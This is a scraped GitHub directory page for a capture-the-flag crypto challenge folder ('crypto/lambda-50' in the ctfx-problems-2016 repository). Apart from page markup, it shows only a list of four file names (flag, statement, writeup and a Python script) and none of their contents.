<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> ctf-x </span> <span>/</span> ctfx-problems-2016
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>3</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>15</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/ctf-x/ctfx-problems-2016/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":62685294,"originating_url":"https://github.com/ctf-x/ctfx-problems-2016/tree/master/crypto/lambda-50","user_id":null}}" data-hydro-click-hmac="a0eeec5966c20015a6f358d094b9b0d5131015365763253e67f26a7b5cfdf231"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/ctf-x/ctfx-problems-2016/refs" cache-key="v0:1467772688.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Y3RmLXgvY3RmeC1wcm9ibGVtcy0yMDE2" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/ctf-x/ctfx-problems-2016/refs" cache-key="v0:1467772688.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Y3RmLXgvY3RmeC1wcm9ibGVtcy0yMDE2" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctfx-problems-2016</span></span></span><span>/</span><span><span>crypto</span></span><span>/</span>lambda-50<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctfx-problems-2016</span></span></span><span>/</span><span><span>crypto</span></span><span>/</span>lambda-50<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/ctf-x/ctfx-problems-2016/tree-commit/b71497b6b3eccbf0b8bebd37918f0f2e8afa1fb4/crypto/lambda-50" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/ctf-x/ctfx-problems-2016/file-list/master/crypto/lambda-50"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>flag.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>statement.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>writeup.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>λ.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
